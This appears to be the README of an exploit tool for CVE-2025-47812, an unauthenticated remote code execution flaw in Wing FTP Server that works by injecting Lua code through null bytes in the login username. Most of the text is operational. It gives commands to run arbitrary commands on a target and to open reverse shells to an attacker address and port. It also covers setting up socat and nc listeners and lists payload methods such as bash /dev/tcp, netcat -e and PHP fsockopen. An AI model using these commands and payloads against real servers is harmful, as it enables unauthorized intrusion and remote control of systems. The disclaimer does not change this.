
| Field | Value |
|---|---|
| CVE | CVE-2025-47812 |
| Affected | Wing FTP Server < 7.4.4 |
| Type | Unauthenticated Remote Code Execution |
| CVSS Score | 10.0 (Critical) |
| Fixed in | Wing FTP Server 7.4.4 |
The vulnerability exists in the /loginok.html login endpoint. The server fails to sanitize null bytes (%00) in the username field. This allows an attacker to inject arbitrary Lua code into session files, which are later evaluated server-side when endpoints like /dir.html are accessed — without any authentication required.
Reference: https://nvd.nist.gov/vuln/detail/CVE-2025-47812
--payload flag-o--timeout and --delay-vCtrl+C handlingpip install requests
python3 wingftp_rce_exploit.py
# Run a command
python3 wingftp_rce_exploit.py -u http://TARGET:5466 -c "id"
# Save output to file
python3 wingftp_rce_exploit.py -u http://TARGET:5466 -c "id" -o results.txt
# Reverse shell (try all payloads)
python3 wingftp_rce_exploit.py -u http://TARGET:5466 -r 10.10.15.92 -p 4444
# Reverse shell (specific payload)
python3 wingftp_rce_exploit.py -u http://TARGET:5466 -r 10.10.15.92 -p 4444 --payload socat
-u / --url Target base URL
-U / --username Login username (default: anonymous)
-c / --command Command to run (command mode)
-r / --rhost Your listener IP (reverse shell mode)
-p / --rport Your listener port (reverse shell mode)
--payload Specific payload to use (see list below)
--timeout HTTP request timeout in seconds (default: 10)
--delay Delay between payload attempts in seconds (default: 4)
-o / --output Save command output to file
-v / --verbose Enable debug output
Target URL : http://192.168.1.10:5466
Username : anonymous
Choice : 1
Command : whoami
Step 1 — Start your listener (socat recommended for full TTY):
socat file:`tty`,raw,echo=0 tcp-listen:4444,reuseaddr
Or with nc:
nc -lvnp 4444
Step 2 — Run the exploit:
python3 wingftp_rce_exploit.py -u http://TARGET:5466 -r YOUR_IP -p 4444
This tool is intended for educational purposes and authorized security testing only.
Do NOT use against systems you do not own or have explicit written permission to test.
Unauthorized use is illegal. The authors accept no liability for misuse.
| Name | Method |
|---|
socat | Full PTY via socat |
bash | /dev/tcp redirect |
python3 | Socket subprocess |
nc-e | Netcat with -e flag |
nc-fifo | Netcat + mkfifo |
php | PHP fsockopen |